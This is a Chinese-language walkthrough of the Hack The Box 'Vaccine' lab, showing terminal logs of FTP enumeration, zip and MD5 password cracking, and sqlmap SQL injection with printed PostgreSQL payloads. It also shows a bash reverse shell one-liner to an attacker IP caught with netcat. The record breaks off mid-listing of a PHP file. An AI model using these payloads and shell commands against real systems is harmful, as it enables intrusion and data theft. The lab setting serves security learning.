开局资料:

https://blog.csdn.net/qq_40927195/article/details/126604517

HTB-Vaccine - laolao - 博客园 (cnblogs.com)

先扫:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sV 10.129.103.172
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-24 01:48 EDT
Nmap scan report for 10.129.103.172
Host is up (0.42s latency).
Not shown: 944 closed tcp ports (reset), 53 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.54
| Logged in as ftpuser
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c0ee58077534b00b9165b259569527a4 (RSA)
| 256 ac6e81188922d7a7417d814f1bb8b251 (ECDSA)
|_ 256 425bc321dfefa20bc95e03421d69d028 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: MegaCorp Login
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 261.22 seconds

发现FTP允许匿名登录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ftp 10.129.103.172
Connected to 10.129.103.172.
220 (vsFTPd 3.0.3)
Name (10.129.103.172:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||10156|)
150 Here comes the directory listing.
-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
226 Directory send OK.
ftp> get backup.zip
local: backup.zip remote: backup.zip
229 Entering Extended Passive Mode (|||10939|)
150 Opening BINARY mode data connection for backup.zip (2533 bytes).
100% |************************************| 2533 8.59 MiB/s 00:00 ETA
226 Transfer complete.
2533 bytes received in 00:00 (16.95 KiB/s)
ftp> exit
221 Goodbye.

┌──(root㉿kali)-[/home/kali/Desktop]
└─# unzip backup.zip
Archive: backup.zip
[backup.zip] index.php password:
password incorrect--reenter:

下载下来buckup.zip,解压发现需要密码,尝试简单密码后发现不行,直接开膛手crack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
┌──(root㉿kali)-[/home/kali/Desktop]
└─# john --help
John the Ripper 1.9.0-jumbo-1+bleeding-aec1328d6c 2021-11-02 10:45:52 +0100 OMP [linux-gnu 64-bit x86_64 SSE2 AC]
Copyright (c) 1996-2021 by Solar Designer and others
Homepage: https://www.openwall.com/john/

Usage: john [OPTIONS] [PASSWORD-FILES]

--help Print usage summary
--single[=SECTION[,..]] "Single crack" mode, using default or named rules
--single=:rule[,..] Same, using "immediate" rule(s)
--single-seed=WORD[,WORD] Add static seed word(s) for all salts in single mode
--single-wordlist=FILE *Short* wordlist with static seed words/morphemes
--single-user-seed=FILE Wordlist with seeds per username (user:password[s]
format)
--single-pair-max=N Override max. number of word pairs generated (6)
--no-single-pair Disable single word pair generation
--[no-]single-retest-guess Override config for SingleRetestGuess
--wordlist[=FILE] --stdin Wordlist mode, read words from FILE or stdin
--pipe like --stdin, but bulk reads, and allows rules
--rules[=SECTION[,..]] Enable word mangling rules (for wordlist or PRINCE
modes), using default or named rules
--rules=:rule[;..]] Same, using "immediate" rule(s)
--rules-stack=SECTION[,..] Stacked rules, applied after regular rules or to
modes that otherwise don't support rules
--rules-stack=:rule[;..] Same, using "immediate" rule(s)
--rules-skip-nop Skip any NOP ":" rules (you already ran w/o rules)
--loopback[=FILE] Like --wordlist, but extract words from a .pot file
--mem-file-size=SIZE Size threshold for wordlist preload (default 2048 MB)
--dupe-suppression Suppress all dupes in wordlist (and force preload)
--incremental[=MODE] "Incremental" mode [using section MODE]
--incremental-charcount=N Override CharCount for incremental mode
--external=MODE External mode or word filter
--mask[=MASK] Mask mode using MASK (or default from john.conf)
--markov[=OPTIONS] "Markov" mode (see doc/MARKOV)
--mkv-stats=FILE "Markov" stats file
--prince[=FILE] PRINCE mode, read words from FILE
--prince-loopback[=FILE] Fetch words from a .pot file
--prince-elem-cnt-min=N Minimum number of elements per chain (1)
--prince-elem-cnt-max=[-]N Maximum number of elements per chain (negative N is
relative to word length) (8)
--prince-skip=N Initial skip
--prince-limit=N Limit number of candidates generated
--prince-wl-dist-len Calculate length distribution from wordlist
--prince-wl-max=N Load only N words from input wordlist
--prince-case-permute Permute case of first letter
--prince-mmap Memory-map infile (not available with case permute)
--prince-keyspace Just show total keyspace that would be produced
(disregarding skip and limit)
--subsets[=CHARSET] "Subsets" mode (see doc/SUBSETS)
--subsets-required=N The N first characters of "subsets" charset are
the "required set"
--subsets-min-diff=N Minimum unique characters in subset
--subsets-max-diff=[-]N Maximum unique characters in subset (negative N is
relative to word length)
--subsets-prefer-short Prefer shorter candidates over smaller subsets
--subsets-prefer-small Prefer smaller subsets over shorter candidates
--make-charset=FILE Make a charset, FILE will be overwritten
--stdout[=LENGTH] Just output candidate passwords [cut at LENGTH]
--session=NAME Give a new session the NAME
--status[=NAME] Print status of a session [called NAME]
--restore[=NAME] Restore an interrupted session [called NAME]
--[no-]crack-status Emit a status line whenever a password is cracked
--progress-every=N Emit a status line every N seconds
--show[=left] Show cracked passwords [if =left, then uncracked]
--show=formats Show information about hashes in a file (JSON)
--show=invalid Show lines that are not valid for selected format(s)
--test[=TIME] Run tests and benchmarks for TIME seconds each
(if TIME is explicitly 0, test w/o benchmark)
--stress-test[=TIME] Loop self tests forever
--test-full=LEVEL Run more thorough self-tests
--no-mask Used with --test for alternate benchmark w/o mask
--skip-self-tests Skip self tests
--users=[-]LOGIN|UID[,..] [Do not] load this (these) user(s) only
--groups=[-]GID[,..] Load users [not] of this (these) group(s) only
--shells=[-]SHELL[,..] Load users with[out] this (these) shell(s) only
--salts=[-]COUNT[:MAX] Load salts with[out] COUNT [to MAX] hashes, or
--salts=#M[-N] Load M [to N] most populated salts
--costs=[-]C[:M][,...] Load salts with[out] cost value Cn [to Mn]. For
tunable cost parameters, see doc/OPTIONS
--fork=N Fork N processes
--node=MIN[-MAX]/TOTAL This node's number range out of TOTAL count
--save-memory=LEVEL Enable memory saving, at LEVEL 1..3
--log-stderr Log to screen instead of file
--verbosity=N Change verbosity (1-5 or 6 for debug, default 3)
--no-log Disables creation and writing to john.log file
--bare-always-valid=Y Treat bare hashes as valid (Y/N)
--catch-up=NAME Catch up with existing (paused) session NAME
--config=FILE Use FILE instead of john.conf or john.ini
--encoding=NAME Input encoding (eg. UTF-8, ISO-8859-1). See also
doc/ENCODINGS.
--input-encoding=NAME Input encoding (alias for --encoding)
--internal-codepage=NAME Codepage used in rules/masks (see doc/ENCODINGS)
--target-encoding=NAME Output encoding (used by format)
--force-tty Set up terminal for reading keystrokes even if we're
not the foreground process
--field-separator-char=C Use 'C' instead of the ':' in input and pot files
--[no-]keep-guessing Try finding plaintext collisions
--list=WHAT List capabilities, see --list=help or doc/OPTIONS
--length=N Shortcut for --min-len=N --max-len=N
--min-length=N Request a minimum candidate length in bytes
--max-length=N Request a maximum candidate length in bytes
--max-candidates=[-]N Gracefully exit after this many candidates tried.
(if negative, reset count on each crack)
--max-run-time=[-]N Gracefully exit after this many seconds (if negative,
reset timer on each crack)
--mkpc=N Request a lower max. keys per crypt
--no-loader-dupecheck Disable the dupe checking when loading hashes
--pot=NAME Pot file to use
--regen-lost-salts=N Brute force unknown salts (see doc/OPTIONS)
--reject-printable Reject printable binaries
--tune=HOW Tuning options (auto/report/N)
--subformat=FORMAT Pick a benchmark format for --format=crypt
--format=[NAME|CLASS][,..] Force hash of type NAME. The supported formats can
be seen with --list=formats and --list=subformats.
See also doc/OPTIONS for more advanced selection of
format(s), including using classes and wildcards.

we will have to convert the ZIP into the hash using the zip2john module that comes within John the Ripper:

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[/home/kali/Desktop]
└─# zip2john backup.zip > hashes
ver 2.0 efh 5455 efh 7875 backup.zip/index.php PKZIP Encr: TS_chk, cmplen=1201, decmplen=2594, crc=3A41AE06 ts=5722 cs=5722 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/style.css PKZIP Encr: TS_chk, cmplen=986, decmplen=3274, crc=1B1CCD6A ts=989A cs=989a type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

┌──(root㉿kali)-[/home/kali/Desktop]
└─# cat hashes
backup.zip:$pkzip$2*1*1*0*8*24*5722*543fb39ed1a919ce7b58641a238e00f4cb3a826cfb1b8f4b225aa15c4ffda8fe72f60a82*2*0*3da*cca*1b1ccd6a*504*43*8*3da*989a*22290dc3505e51d341f31925a7ffefc181ef9f66d8d25e53c82afc7c1598fbc3fff28a17ba9d8cec9a52d66a11ac103f257e14885793fe01e26238915796640e8936073177d3e6e28915f5abf20fb2fb2354cf3b7744be3e7a0a9a798bd40b63dc00c2ceaef81beb5d3c2b94e588c58725a07fe4ef86c990872b652b3dae89b2fff1f127142c95a5c3452b997e3312db40aee19b120b85b90f8a8828a13dd114f3401142d4bb6b4e369e308cc81c26912c3d673dc23a15920764f108ed151ebc3648932f1e8befd9554b9c904f6e6f19cbded8e1cac4e48a5be2b250ddfe42f7261444fbed8f86d207578c61c45fb2f48d7984ef7dcf88ed3885aaa12b943be3682b7df461842e3566700298efad66607052bd59c0e861a7672356729e81dc326ef431c4f3a3cdaf784c15fa7eea73adf02d9272e5c35a5d934b859133082a9f0e74d31243e81b72b45ef3074c0b2a676f409ad5aad7efb32971e68adbbb4d34ed681ad638947f35f43bb33217f71cbb0ec9f876ea75c299800bd36ec81017a4938c86fc7dbe2d412ccf032a3dc98f53e22e066defeb32f00a6f91ce9119da438a327d0e6b990eec23ea820fa24d3ed2dc2a7a56e4b21f8599cc75d00a42f02c653f9168249747832500bfd5828eae19a68b84da170d2a55abeb8430d0d77e6469b89da8e0d49bb24dbfc88f27258be9cf0f7fd531a0e980b6defe1f725e55538128fe52d296b3119b7e4149da3716abac1acd841afcbf79474911196d8596f79862dea26f555c772bbd1d0601814cb0e5939ce6e4452182d23167a287c5a18464581baab1d5f7d5d58d8087b7d0ca8647481e2d4cb6bc2e63aa9bc8c5d4dfc51f9cd2a1ee12a6a44a6e64ac208365180c1fa02bf4f627d5ca5c817cc101ce689afe130e1e6682123635a6e524e2833335f3a44704de5300b8d196df50660bb4dbb7b5cb082ce78d79b4b38e8e738e26798d10502281bfed1a9bb6426bfc47ef62841079d41dbe4fd356f53afc211b04af58fe3978f0cf4b96a7a6fc7ded6e2fba800227b186ee598dbf0c14cbfa557056ca836d69e28262a060a201d005b3f2ce736caed814591e4ccde4e2ab6bdbd647b08e543b4b2a5b23bc17488464b2d0359602a45cc26e30cf166720c43d6b5a1fddcfd380a9c7240ea888638e12a4533cfee2c7040a2f293a888d6dcc0d77bf0a2270f765e5ad8bfcbb7e68762359e335dfd2a9563f1d1d9327eb39e68690a8740fc9748483ba64f1d923edfc2754fc020bbfae77d06e8c94fba2a02612c0787b60f0ee78d21a6305fb97ad04bb562db282c223667af8ad907466b88e7052072d6968acb7258fb8846da057b1448a2a9699ac0e5592e369fd6e87d677a1fe91c0d0155fd237bfd2dc49*$/pkzip$::backup.zip:style.css, index.php:backup.zip

Now, we will type the following command: john -wordlist=/usr/share/wordlists/rockyou.txt hashes
So it will load the wordlist & it will do a bruteforce attack against the hash stored in file hashes . Once the password is cracked, we will use the –show option to display the cracked password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[/home/kali/Desktop]
└─# john -wordlist=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
741852963 (backup.zip)
1g 0:00:00:00 DONE (2023-07-24 02:40) 33.33g/s 273066p/s 273066c/s 273066C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

┌──(root㉿kali)-[/home/kali/Desktop]
└─# john --show hashes
backup.zip:741852963::backup.zip:style.css, index.php:backup.zip

1 password hash cracked, 0 left

得到密码:741852963,解压

1
2
3
4
5
6
┌──(root㉿kali)-[/home/kali/Desktop]
└─# unzip backup.zip
Archive: backup.zip
[backup.zip] index.php password:
inflating: index.php
inflating: style.css

index.php里是什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
┌──(root㉿kali)-[/home/kali/Desktop]
└─# cat index.php
<!DOCTYPE html>
<?php
session_start();
if(isset($_POST['username']) && isset($_POST['password'])) {
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION['login'] = "true";
header("Location: dashboard.php");
}
}
?>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>MegaCorp Login</title>
<link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700" rel="stylesheet"><link rel="stylesheet" href="./style.css">

</head>
<h1 align=center>MegaCorp Login</h1>
<body>
<!-- partial:index.partial.html -->
<body class="align">

<div class="grid">

<form action="" method="POST" class="form login">

<div class="form__field">
<label for="login__username"><svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#user"></use></svg><span class="hidden">Username</span></label>
<input id="login__username" type="text" name="username" class="form__input" placeholder="Username" required>
</div>

<div class="form__field">
<label for="login__password"><svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#lock"></use></svg><span class="hidden">Password</span></label>
<input id="login__password" type="password" name="password" class="form__input" placeholder="Password" required>
</div>

<div class="form__field">
<input type="submit" value="Sign In">
</div>

</form>

</div>

<svg xmlns="http://www.w3.org/2000/svg" class="icons"><symbol id="arrow-right" viewBox="0 0 1792 1792"><path d="M1600 960q0 54-37 91l-651 651q-39 37-91 37-51 0-90-37l-75-75q-38-38-38-91t38-91l293-293H245q-52 0-84.5-37.5T128 1024V896q0-53 32.5-90.5T245 768h704L656 474q-38-36-38-90t38-90l75-75q38-38 90-38 53 0 91 38l651 651q37 35 37 90z"/></symbol><symbol id="lock" viewBox="0 0 1792 1792"><path d="M640 768h512V576q0-106-75-181t-181-75-181 75-75 181v192zm832 96v576q0 40-28 68t-68 28H416q-40 0-68-28t-28-68V864q0-40 28-68t68-28h32V576q0-184 132-316t316-132 316 132 132 316v192h32q40 0 68 28t28 68z"/></symbol><symbol id="user" viewBox="0 0 1792 1792"><path d="M1600 1405q0 120-73 189.5t-194 69.5H459q-121 0-194-69.5T192 1405q0-53 3.5-103.5t14-109T236 1084t43-97.5 62-81 85.5-53.5T538 832q9 0 42 21.5t74.5 48 108 48T896 971t133.5-21.5 108-48 74.5-48 42-21.5q61 0 111.5 20t85.5 53.5 62 81 43 97.5 26.5 108.5 14 109 3.5 103.5zm-320-893q0 159-112.5 271.5T896 896 624.5 783.5 512 512t112.5-271.5T896 128t271.5 112.5T1280 512z"/></symbol></svg>

</body>
<!-- partial -->

</body>
</html>

发现这行:

$_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3"

username: admin

password: 2cb42f8734ea607eefed3b70af13bbd3

根据php语句,密码是md5加密后的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
┌──(root㉿kali)-[/home/kali/Desktop]
└─# hashid 2cb42f8734ea607eefed3b70af13bbd3
Analyzing '2cb42f8734ea607eefed3b70af13bbd3'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x

┌──(root㉿kali)-[/home/kali/Desktop]
└─# echo '2cb42f8734ea607eefed3b70af13bbd3' > hash

┌──(root㉿kali)-[/home/kali/Desktop]
└─# hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-penryn-Intel(R) Celeron(R) N5095 @ 2.00GHz, 1433/2930 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache building /usr/share/wordlists/rockyou.txt: 33553434 bytes (23.98Dictionary cache building /usr/share/wordlists/rockyou.txt: 67106869 bytes (47.96Dictionary cache building /usr/share/wordlists/rockyou.txt: 134213744 bytes (95.9Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

2cb42f8734ea607eefed3b70af13bbd3:qwerty789

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 2cb42f8734ea607eefed3b70af13bbd3
Time.Started.....: Mon Jul 24 03:30:25 2023 (0 secs)
Time.Estimated...: Mon Jul 24 03:30:25 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 387.5 kH/s (0.18ms) @ Accel:256 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 100352/14344385 (0.70%)
Rejected.........: 0/100352 (0.00%)
Restore.Point....: 99328/14344385 (0.69%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 020180 -> paashaas
Hardware.Mon.#1..: Util: 14%

Started: Mon Jul 24 03:29:30 2023
Stopped: Mon Jul 24 03:30:26 2023

得到结果:qwerty789

因为80端口的缘故浏览器登录:

![Untitled](D:\Study\security\Vaccine cb9391dba556416cae0ccf2691de612f\Untitled.png)

sqlmap使用,在46课也有详细讲解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
┌──(root㉿kali)-[/home/kali/Desktop]
└─# sqlmap -h
___
__H__
___ ___[,]_____ ___ ___ {1.7.2#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

Usage: python3 sqlmap [options]

Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)

Target:
At least one of these options has to be provided to define the
target(s)

-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs

Request:
These options can be used to specify how to connect to the target URL

--data=DATA Data string to be sent through POST (e.g. "id=1")
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly

Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts

-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to provided value

Detection:
These options can be used to customize the detection phase

--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)

Techniques:
These options can be used to tweak testing of specific SQL injection
techniques

--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")

Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables

-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate

Operating system access:
These options can be used to access the back-end database management
system underlying operating system

--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC

General:
These options can be used to set some general working parameters

--batch Never ask for user input, use the default behavior
--flush-session Flush session files for current target

Miscellaneous:
These options do not fit into any other category

--wizard Simple wizard interface for beginner users

[!] to see full list of options run with '-hh'

因cookie身份认证问题,

需下载插件,cookie编辑器:

![Untitled](D:\Study\security\Vaccine cb9391dba556416cae0ccf2691de612f\Untitled 1.png)

啊反复了几次,这次终于拿到了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
┌──(root㉿kali)-[/home/kali/Desktop]
└─# sqlmap -u 'http://10.129.103.172/dashboard.php?search=any+query' --cookie="PHPSESSID=k3e94885qhta9s4sqqskebljqq" --os-shell
___
__H__
___ ___[']_____ ___ ___ {1.7.2#stable}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:51:12 /2023-07-24/

[04:51:12] [INFO] testing connection to the target URL
[04:51:20] [INFO] checking if the target is protected by some kind of WAF/IPS
[04:51:21] [INFO] testing if the target URL content is stable
[04:51:21] [INFO] target URL content is stable
[04:51:21] [INFO] testing if GET parameter 'search' is dynamic
[04:51:21] [WARNING] GET parameter 'search' does not appear to be dynamic
[04:51:22] [INFO] heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'PostgreSQL')
[04:51:23] [INFO] testing for SQL injection on GET parameter 'search'
it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided level (1) and risk (1) values? [Y/n] y
[04:51:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[04:52:03] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[04:52:04] [INFO] testing 'Generic inline queries'
[04:52:04] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'
[04:52:07] [INFO] GET parameter 'search' appears to be 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)' injectable
[04:52:07] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[04:52:08] [INFO] GET parameter 'search' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable
[04:52:08] [INFO] testing 'PostgreSQL inline queries'
[04:52:08] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[04:52:08] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)
[04:52:21] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable
[04:52:21] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[04:52:32] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable
[04:52:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: search (GET)
Type: boolean-based blind
Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
Payload: search=any query' AND (SELECT (CASE WHEN (6093=6093) THEN NULL ELSE CAST((CHR(118)||CHR(118)||CHR(87)||CHR(105)) AS NUMERIC) END)) IS NULL-- RTIw

Type: error-based
Title: PostgreSQL AND error-based - WHERE or HAVING clause
Payload: search=any query' AND 9369=CAST((CHR(113)||CHR(118)||CHR(98)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (9369=9369) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(98)||CHR(122)||CHR(113)) AS NUMERIC)-- fmXN

Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: search=any query';SELECT PG_SLEEP(5)--

Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: search=any query' AND 5884=(SELECT 5884 FROM PG_SLEEP(5))-- LLsP
---
[04:52:37] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[04:52:40] [INFO] fingerprinting the back-end DBMS operating system
[04:52:49] [INFO] the back-end DBMS operating system is Linux
[04:52:50] [INFO] testing if current user is DBA
[04:52:59] [INFO] retrieved: '1'
[04:53:00] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[04:53:00] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>

bash -c "bash -i >& /dev/tcp/10.10.14.221/1234 0>&1"

shan,终于连回来了:

1
2
3
4
5
6
7
┌──(root㉿kali)-[/home/kali]
└─# nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.103.172] 41906
bash: cannot set terminal process group (7060): Inappropriate ioctl for device
bash: no job control in this shell
postgres@vaccine:/var/lib/postgresql/11/main$

用nc拿到外壳后还不能TAB按键补全,使用以下命令获得完全交互式:

1
2
3
4
5
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo
fg
export TERM=xterm

翻目录可以找到user的flag:

1
2
3
4
5
6
7
postgres@vaccine:/var/lib/postgresql/11/main$ ls
postgres@vaccine:/var/lib/postgresql/11/main$ cd ..
postgres@vaccine:/var/lib/postgresql/11$ ls
main
postgres@vaccine:/var/lib/postgresql/11$ cd ..
postgres@vaccine:/var/lib/postgresql$ ls
11 user.txt
1
2
3
4
5
6
7
8
9
10
11
12
postgres@vaccine:/var/lib/postgresql$ cd /var/www/html
postgres@vaccine:/var/www/html$ ls -la
total 392
drwxr-xr-x 2 root root 4096 Jul 23 2021 .
drwxr-xr-x 3 root root 4096 Jul 23 2021 ..
-rw-rw-r-- 1 root root 362847 Feb 3 2020 bg.png
-rw-r--r-- 1 root root 4723 Feb 3 2020 dashboard.css
-rw-r--r-- 1 root root 50 Jan 30 2020 dashboard.js
-rw-r--r-- 1 root root 2313 Feb 4 2020 dashboard.php
-rw-r--r-- 1 root root 2594 Feb 3 2020 index.php
-rw-r--r-- 1 root root 1100 Jan 30 2020 license.txt
-rw-r--r-- 1 root root 3274 Feb 3 2020 style.css

文件dashboard.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
postgres@vaccine:/var/www/html$ cat dashboard.php
<!DOCTYPE html>
<html lang="en" >
<head>
